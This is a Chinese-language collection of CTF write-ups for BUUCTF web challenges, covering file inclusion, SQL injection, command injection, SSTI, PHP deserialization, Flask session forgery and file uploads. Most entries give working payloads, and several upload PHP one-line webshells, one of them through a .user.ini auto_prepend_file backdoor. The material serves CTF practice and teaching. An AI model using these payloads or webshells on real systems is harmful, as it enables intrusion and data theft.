BUUCTF-WEB

[HCTF 2018]WarmUp

#文件包含

打开后看网页源码,发现提示source.php,访问source.php看到php源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

我们访问hint.php得到提示flag not here, and flag in ffffllllaaaagggg

分析php源码,发现主要是需要绕过前面的4个if语句。

  1. if (! isset($page) || !is_string($page)) page必须是一个字符串

  2. if (in_array($page, $whitelist)) page要在whitelist中

  3. $_page = mb_substr(…);if (in_array($_page, $whitelist)) 取?前的内容是否在whitelist中

  4. urldecode($page) (重复3) url解码后再判断一次

这道题,用3和4都可以拿到flag,payload如下:

  1. source.php?file=source.php?/../../../../../ffffllllaaaagggg
  2. source.php?file=source.php%253f/../../../../../ffffllllaaaagggg

4就是对?再进行一次url编码。

这里有一个坑,就是我在本地研究时发现,由于Windows的目录规则,不能有?,所以只能用4。此外,很多Writeup里在目录跨越这里都是写php?../../flag这种格式,应该写php?/../../flag这样才能把前面的php文件当成一个目录。虽然CTF平台都可以,但本地复现必须这么写。

这个题的原型是phpmyadmin的一个漏洞:CVE-2018-12613

[强网杯 2019]随便注

#SQL注入

sqlmap是没有灵魂的

手动注入,注入点在inject。

尝试使用union select提示过滤

1
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

可以使用堆叠注入。

1
2
3
4
0'; show databases;--+ 显示数据库
0'; show tables;--+ 显示表
0'; show columns from words;--+ 显示words表所有列
0'; show columns from `1919810931114514`;--+ 显示1919810931114514表所有列

在查询1919810931114514表时需要使用反引号`,看到表中有一列是flag。

此时有好多获取flag的方法,多数人使用修改字段名的方法:

1
0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc  words;#
1
1’; ALTER TABLE words CHANGE flag data VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#

当然,也可以使用预处理语句:

1
1';PREPARE hacker from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE hacker;#
1
1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE hacker from @sqli;EXECUTE hacker;#
1
1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#

参考:

https://blog.csdn.net/qq_26406447/article/details/90643951

https://www.cnblogs.com/wjw-zm/p/12359735.html

[SUCTF 2019]EasySQL

#SQL注入

又是一个堆叠注入。

1
2
query=1;show databases;
Array ( [0] => 1 ) Array ( [0] => ctf ) Array ( [0] => ctftraining ) Array ( [0] => information_schema ) Array ( [0] => mysql ) Array ( [0] => performance_schema ) Array ( [0] => test )
1
2
query=1;show tables;
Array ( [0] => 1 ) Array ( [0] => Flag )

尝试直接读取flag报错

1
2
query=1;select * from Flag;
Nonono.

测试发现过滤了from和flag

这里卡住了,去找了一下writeup

题目原理应该是:

1
select $_GET['query'] || flag from flag

在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。需要调整mysql 的sql_mode
模式:pipes_as_concat 来实现oracle 的一些功能

补充系统变量@@sql_modesql_mode:是一组mysql支持的基本语法及校验规则
PIPES_AS_CONCAT:将“||”视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样的,也和字符串的拼接函数Concat相类似

1
2
3
4
> select sql_mode;
> select @@global.sql_mode;
> select @@session.sql_mode;
>

payload: 1;set sql_mode=PIPES_AS_CONCAT;select 1

最终执行的语句是:

1
select 1;set sql_mode=pipes_as_concat;select 1||flag from Flag

由于设置了pipes_as_concat,所以此处的||为连接符。

也有一个意外解:*,1,字符串或时前面的数字时结果为1则返回1,为0则返回0,效果跟直接*一样。

参考:

https://www.cnblogs.com/chrysanthemum/p/11729891.html

https://blog.csdn.net/qq_42158602/article/details/103930598

https://www.jianshu.com/p/b3ebe9f99f9a

[ACTF2020 新生赛]Include

#文件包含

很简单的文件包含。

点击tips跳转?file=flag.php

1
Can you find out the flag?

使用php://filter伪协议:

1
?file=php://filter/convert.base64-encode/resource=flag.php

得到

1
2
<meta charset="utf8">
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7NmM2OWY3ZjItZGE3Mi00ZjE0LThkNDgtNDQxYzE5MTVmMTEwfQo=

Base64解码可得flag。

[极客大挑战 2019]Havefun

#Null

很简单一道题,查看源码可以看到一段注释:

1
2
3
4
5
6
7
<!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
-->

直接传参/?cat=dog得到flag。

[极客大挑战 2019]EasySQL

#SQL注入

界面上就是一个登录框,输入单引号报错

1
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''admin''' at line 1

请求:username=admin&password=' or '1'='1得到flag。

[极客大挑战 2019]Secret File

#文件包含

很简单的一道题。

看网页源码逐个打开网站,在打开action.php时会快速跳转到end.php

使用curl直接读取action.php

1
2
3
4
5
6
7
<!DOCTYPE html>

<html>
<!--
secr3t.php
-->
</html>

访问secr3t.php得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>

又是一个php://filter伪协议:

/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

得到:

1
PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7MzI2MDBiMDUtMTNhNC00ZjExLTllMmMtODNlY2U5MWJlYWZjfSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=

Base64解码得到flag。

[极客大挑战 2019]LoveSQL

#SQL注入

这道题基于[极客大挑战 2019]EasySQL。

请求username=admin&password=' or '1'='1

得到:

1
2
3
Hello admin!

Your password is '3bf7925f92d1b19c97dd0d3f08cc665a'

并没有什么用,这个密码也解不出来。

使用union select

?username=admin&password=' union select 1,database(),'

爆出数据库名:geek

继续注入:

1
2
获取所有数据库:?username=admin&password=' union select 1,database(),group_concat(schema_name) from information_schema.schemata%23
获取当前数据库所有表:username=admin&password=' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()%23

看到返回的表里有一个l0ve1ysq1,读这个表

1
?username=admin&password=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23

返回:id,username,password

继续读:

1
?username=admin&password=' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23

得到flag:

1
Your password is '1cl4ywo_tai_nan_le,2glzjinglzjin_wants_a_girlfriend,3Z4cHAr7zCrbiao_ge_dddd_hm,40xC4m3llinux_chuang_shi_ren,5Ayraina_rua_rain,6Akkoyan_shi_fu_de_mao_bo_he,7fouc5cl4y,8fouc5di_2_kuai_fu_ji,9fouc5di_3_kuai_fu_ji,10fouc5di_4_kuai_fu_ji,11fouc5di_5_kuai_fu_ji,12fouc5di_6_kuai_fu_ji,13fouc5di_7_kuai_fu_ji,14fouc5di_8_kuai_fu_ji,15leixiaoSyc_san_da_hacker,16flagflag{4f2cd7e7-4818-48a8-9d07-fe116710e640}'

[GXYCTF2019]Ping Ping Ping

#命令执行

命令执行。

列目录?ip=1||ls

1
2
3
PING 1 (0.0.0.1): 56 data bytes
flag.php
index.php

但是尝试?ip=1||cat<>flag.php提示

1
fxck your symbol!

使用$IFS$1绕过,但是flag也被过滤,读取index.php:?ip=1|cat$IFS$1index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<pre>/?ip=
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}

?>

这道题有3种解法:

  1. 变量覆盖

    可以看到php中有一个变量a,可以利用这个变量绕过过滤。

    1
    ?ip=1;a=g;cat$IFS$1fla$a.php
  2. 使用sh

    1
    1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
  3. 内联执行

    将ls(反引号内命令)输出的结果做为cat的输入来执行

    1
    ?ip=1;cat$IFS$1`ls`

[ACTF2020 新生赛]Exec

#命令执行

这道题也是命令执行,不过比上一道题简单,没有过滤,只是换成了post。

post payload:target=1;cat ../../../flag

[护网杯 2018]easy_tornado

#SSTI

(这道题好像哪里做过)

可以看到请求的格式为:

1
file?filename=/welcome.txt&filehash=e544a56281108d42ed1141d3b52a515a

在hints.txt里提示:

1
md5(cookie_secret+md5(filename))

而flag.txt里提示为:

1
flag in /fllllllllllllag

随便输点什么会跳转到一个错误页面

error?msg=Error

welcome里提示了render,这是一个渲染函数。

tornado是Python的一个Web框架。

因为要获取cookie_secret的值,还是Python框架,错误页也很可疑,怀疑是SSTI。

测试:error?msg=49返回ORZ,有过滤。

请求:error?msg=

返回:<module 'datetime' from '/usr/local/lib/python2.7/lib-dynload/datetime.so'>

在Tornado的前端页面模板中,datetime是指向python中datetime这个模块,Tornado提供了一些对象别名来快速访问对象,可以参考Tornado官方文档

通过查阅文档发现cookie_secret在Application对象settings属性中,还发现self.application.settings有一个别名

1
2
RequestHandler.settings
An alias for self.application.settings.1

handler指向的处理当前这个页面的RequestHandler对象,
RequestHandler.settings指向self.application.settings,
因此handler.settings指向RequestHandler.application.settings。

构造payload获取cookie_secret

1
/error?msg={{handler.settings}}

计算filehash

1
echo md5('b5ea8f3c-828e-4ba8-be28-9828a5123d11'.md5('/fllllllllllllag'));

请求file?filename=/fllllllllllllag&filehash=d015d044a14b948286d7b3bd08eff68c得到flag。

参考

https://blog.csdn.net/weixin_44677409/article/details/94410580

[极客大挑战 2019]Knife

#Null

打开就提示菜刀,并给了密码

1
eval($_POST["Syc"]);

直接用菜刀连接,密码是Syc。

在根目录找到flag。

[RoarCTF 2019]Easy Calc

#PHP特性 #WAF绕过

在源码中发现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<!--I've set up WAF to ensure security.-->
<script>
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})
</script>

直接访问calc.php可以看到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

WAF可以用php的字符串解析特性绕过,在num前加个空格即可。

请求calc.php?%20num=a;phpinfo();可以看到phpinfo里禁用了很多函数。

请求calc.php? num=a;var_dump(scandir(chr(47)))读取\目录发现f1agg

请求calc.php? num=a;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));得到flag。

[极客大挑战 2019]Http

#Http协议

在源码中发现

1
<a style="border:none;cursor:default;" onclick="return false" href="Secret.php">氛围</a>

访问Secret.php提示

1
It doesn't come from 'https://www.Sycsecret.com'

在header里添加Referer为https://www.Sycsecret.com后提示

1
Please use "Syclover" browser

继续在header里添加User-Agent为Syclover后提示

1
No!!! you can only read this locally!!!

最后在header里添加X-Forwarded-For为127.0.0.1得到flag。

[极客大挑战 2019]PHP

#备份泄露 #反序列化

直接访问提示有备份网站的习惯。

请求www.zip下载到了备份文件。

在备份文件中,index和class两个php比较重要。

index:

1
2
3
4
5
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

class:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
include 'flag.php';


error_reporting(0);


class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();


}
}
}
?>

可以看到这是典型的php反序列化。

需要注意,__wakeup函数会对username重新赋值,需要绕过。当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup函数的执行。

我们生成的payload为

1
O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}

把Name后面的2替换为3或者更大的数字就可以绕过__wakeup

需要注意的是,生成的payload的里有空白符会在复制时丢失,可以手动用%00替换或者直接url编码后请求:

1
O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D

[极客大挑战 2019]Upload

#文件上传

使用后缀phtmlContent-Type: image/jpeg以及GIF89a?文件头可绕过限制。

上传一句话提示NO! HACKER! your file included '&#x3C;&#x3F;',不允许使用<?

可使用<script language="php">绕过。payload如下:

1
GIF89a?<script language="php">@eval($_POST['pass']);</script>

上传的文件在upload文件夹下,最后在根目录找到flag。

[极客大挑战 2019]BabySQL

#SQL注入

在[极客大挑战 2019]LoveSQL上增加了过滤,不过可以根据报错发现只是移除了关键字,可以使用双写绕过。

1
?username=' uunionnion seselectlect 1,2,3;--+&password=1

测试时发现一个坑,尝试读information_schema里的数据,各种提示说找不到:

1
Table 'infmation_schema.tables' doesn't exist

仔细一看发现原来是or被过滤了……(后面的password之类的也有这一情况)

1
?username=' uunionnion seselectlect 1,database(), group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database();--+&password=1

发现两个表b4bsql,geekuser,读取b4bsql

1
?username=' uunionnion seselectlect 1,database(), group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql';--+&password=1

返回id,username,password,读取全部数据:

1
?username=' uunionnion seselectlect 1,database(), group_concat(id,username,passwoorrd) frfromom b4bsql;--+&password=1

得到flag。

[ACTF2020 新生赛]Upload

#文件上传

上传限制必须是jpg、png、gif后缀,可以在Burpsuite中使用00截断,而且过滤了php等后缀,使用phtml绕过。payload如下:

1
1.phtml%00jpg

把马传上去,在根目录找到flag。

[ACTF2020 新生赛]BackupFile

#备份泄露 #PHP特性

提示Try to find out source file!

尝试www.zip,index.swp都没什么结果,最后发现是index.php.bak,通过备份获得源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}

先判断key是不是数字,然后取整后判断是否与str相等。

主要是第二个if。在php中int和string是无法直接比较的,php会将string转换成int然后再进行比较,转换成int比较时只保留数字,第一个字符串之后的所有内容会被截掉。

可以测试一下:

1
php -r "$a=123;$b='123abc4';if($a==$b){echo 'in if a:'.$a;echo ' b:'.$b;}echo '@a:'.$a;echo ' b:'.$b;"

输出为:

1
in if a:123 b:123abc4@a:123 b:123abc4

所以只需要传入num=123即可得到flag。

[HCTF 2018]admin

#Flask Session 伪造

随便注册一个账号,在change password页面的源码中看到一段注释:

1
<!-- https://github.com/woadsl1234/hctf_flask/ -->

去Github上找到了题目源码。

在index.html中我们可以看到,当session[‘name’]为admin时是获得flag。

1
2
3
4
5
6
7
8
9
10
11
{% include('header.html') %}
{% if current_user.is_authenticated %}
<h1 class="nav">Hello {{ session['name'] }}</h1>
{% endif %}
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>
{% endif %}
<!-- you are not admin -->
<h1 class="nav">Welcome to hctf</h1>

{% include('footer.html') %}

我是使用flask session伪造做的。

由于 flask 是非常轻量级的 Web框架 ,其 session 存储在客户端中(可以通过HTTP请求头Cookie字段的session获取),且仅对 session 进行了签名,缺少数据防篡改实现,这便很容易存在安全漏洞。

使用P牛的程序进行解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)

decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True

try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')

if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')

return session_json_serializer.loads(payload)

if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))

解密得到:

1
{'_fresh': True, '_id': b'f015060f7acf9e9b27cdc54f8a42561d94443178f603ce70f5f81fcb33014f429cf2fd6e6cebc6f810a46de3debd3551c63a4e83258b3b14a26af00787144f3c', 'csrf_token': b'dfce3b942b7389a04e0d15766f0676b1c525fb16', 'image': b'OeJ1', 'name': '123', 'user_id': '10'}

我们需要把name换成admin。此外,还需要secret_key,而这个可以在config.py中找到

1
2
3
4
5
6
import os

class Config(object):
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
SQLALCHEMY_TRACK_MODIFICATIONS = True

最后使用Flask Session Cookie Decoder/Encoder生成session:

1
python3 flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'f015060f7acf9e9b27cdc54f8a4 2561d94443178f603ce70f5f81fcb33014f429cf2fd6e6cebc6f810a46de3debd3551c63a4e83258b3b14a26af00787144f3c', 'csrf_token': b'dfce3b942b7389a04e0d15766f0676b1c525fb16', 'image': b'OeJ1', 'name': 'admin', 'user_id': '10'}"

使用生成的session替换现有的session即可,payload如下:

1
.eJxFkEFrwkAQhf9KmbMH3eAl4EFYDWmZWRI2yu5FbIwx24yFRDFG_O8dLLTMbd7je_PmAbtjV_UniC_dtZrArjlA_IC3T4jBh-VAdqkwcZHbEpttMXchjZzKA9mcTbKaYigUbrM56WyK4yoyiVOoKXhb3nzYsNFrdiodcRRW4sTfBh_e2WvfElPrGJUP9YDCIs5bVLnsspFsMbhRxuat0Xgne2pQpcJY3YnXjHoZGV0OpHMh4AKeEyj77ri7fH9V5_8KiZdTqDE2u7tQjka3J9QSk2RSrVTE7kahVC6spVI68ywR9eKFa3hfV38kqzYfmP0q5z2LAPsDN2eYwLWvutffYDaF5w-0wmzk.YBZ9uA.z6AlQHbSfzn_2h_c3Bi8f-ABDLM

参考

https://xz.aliyun.com/t/3569

https://www.leavesongs.com/PENETRATION/client-session-security.html

[极客大挑战 2019]BuyFlag

#PHP特性

题目在pay.php

首先它提示

1
Only Cuit's students can buy the FLAG

但是整个页面我们也找不到一个登录之类的功能,在cookie里发现有一个user且值为0,将其修改为1后提示:

1
2
you are Cuiter
Please input your password!!

在源码中发现:

1
2
3
4
5
6
7
8
9
10
11
<!--
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
-->

要传password进来,要求password不能为数字却等于404。和BackupFile那道题思路差不多,可以用password=404a绕过。然后提示:

1
2
3
you are Cuiter
Password Right!
Pay for the flag!!!hacker!!!

post:password=404a&money=100000000提示:

1
2
3
you are Cuiter
Password Right!
Nember lenth is too long

猜测使用strcmp函数,可以使用money[]=100000000绕过得到flag。

[SUCTF 2019]CheckIn

#文件上传

这道题绝了……一直删文件。

这道题需要user.ini

那么什么是.user.ini?

这得从php.ini说起了。php.ini是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:PHP_INI_SYSTEMPHP_INI_PERDIRPHP_INI_ALLPHP_INI_USER。 在此可以查看:http://php.net/manual/zh/ini.list.php 这几种模式有什么区别?看看官方的解释:

enter image description here

其中就提到了,模式为PHP_INI_USER的配置项,可以在ini_set()函数中设置、注册表中设置,再就是.user.ini中设置。 这里就提到了.user.ini,那么这是个什么配置文件?那么官方文档在这里又解释了:

除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

.user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。

这里就很清楚了,.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。(上面表格中没有提到的PHP_INI_PERDIR也可以在.user.ini中设置)

实际上,除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。

而且,和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。

然后我们看到php.ini中的配置项,可惜我沮丧地发现,只要稍微敏感的配置项,都是PHP_INI_SYSTEM模式的(甚至是php.ini only的),包括disable_functionsextension_direnable_dl等。 不过,我们可以很容易地借助.user.ini文件来构造一个“后门”。

Php配置项中有两个比较有意思的项(下图第一、四个):

enter image description here

auto_append_fileauto_prepend_file,点开看看什么意思:

enter image description here

指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:

1
2
> auto_prepend_file=01.gif
>

01.gif是要包含的文件。

所以,我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。

测试一下,我分别在IIS6.0+Fastcgi+PHP5.3和nginx+fpm+php5.3上测试。 目录下有.user.ini,和包含webshell的01.gif,和正常php文件echo.php:

enter image description here

enter image description here

访问echo.php即可看到后门:

enter image description here

Nginx下同样:

enter image description here

enter image description here

那么,我们可以猥琐地想一下,在哪些情况下可以用到这个姿势? 比如,某网站限制不允许上传.php文件,你便可以上传一个.user.ini,再上传一个图片马,包含起来进行getshell。不过前提是含有.user.ini的文件夹下需要有正常的php文件,否则也不能包含了。 再比如,你只是想隐藏个后门,这个方式是最方便的。

上传限制需要绕过。构造上传图片马:

1
2
3
4
Content-Disposition: form-data; name="fileUpload"; filename="1.gif"
Content-Type: image/gif

GIF89a?<script language="php">@eval($_POST['pass']);</script>

上传成功:

1
2
3
4
5
6
7
8
9
10
Your dir uploads/852aff287f54bca0ed7757a702913e50 <br>Your files : <br>array(4) {
[0]=>
string(1) "."
[1]=>
string(2) ".."
[2]=>
string(5) "1.gif"
[3]=>
string(9) "index.php"
}

构造,user.ini上传

1
2
GIF89a
auto_prepend_file=1.gif

菜刀连接上传目录下的index.php,在根目录下获得flag。

[BJDCTF2020]Easy MD5

#SQL注入 #PHP特性

在请求返回的header里发现了hint:

1
Hint: select * from 'admin' where password=md5($pass,true)

可以使用ffifdyop

ffifdyop结果md5后是276f722736c95d99e921722cf9ed621c,而这串md5值转为字符串就是'or'6(乱码)可以绕过这个sql语句。

提交后,在新返回的页面源码中发现:

1
<script>window.location.replace('./levels91.php')</script>

会跳转到levels91.php页面。再次查看源码:

1
2
3
4
5
6
7
<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->

可以使用a[]=1&b[]=2绕过。

接下来跳转到levell14.php,显示:

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}

同样可以使用上一种方法绕过得到flag。

1
param1[]=1&param2[]=2

[ZJCTF 2019]NiZhuanSiWei

#文件包含 #PHP反序列化

题目给了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

我们可以使用

1
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

绕过text。

include提示useless.php,那就用file读取useless.php。

1
file=php://filter/read=convert.base64-encode/resource=useless.php

解码得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

这里需要php反序列化。构造php:

1
2
3
4
5
6
7
<?php  
class Flag{
public $file="flag.php";
}
$a = new Flag();
echo serialize($a);
?>

得到:

1
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最终请求:

1
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D

flag在源码注释里。

[CISCN2019 华北赛区 Day2 Web1]Hack World(TODO)

题目提示

1
2
All You Want Is In Table 'flag' and the column is 'flag'
Now, just give the id of passage

[极客大挑战 2019]HardSQL(TODO)

[网鼎杯 2018]Fakebook

#SQL注入 #PHP反序列化

随便注册一个账号,点击查看,看到请求是view.php?no=1测试存在sql注入

虽然有过滤,不过可以绕过。

读取数据库:

1
?no=0 union/**/select 1,database(),3,4;--+

读表:

1
?no=0 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database();--+

读列:

1
?no=0 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users';--+

读到的列有:

1
no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS

在data里可以看到:

1
O:8:"UserInfo":3:{s:4:"name";s:100:"admin ";s:3:"age";i:1;s:4:"blog";s:13:"www.baidu.com";}

在robots.txt发现泄露了备份文件

1
2
User-agent: *
Disallow: /user.php.bak

下载下来查看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
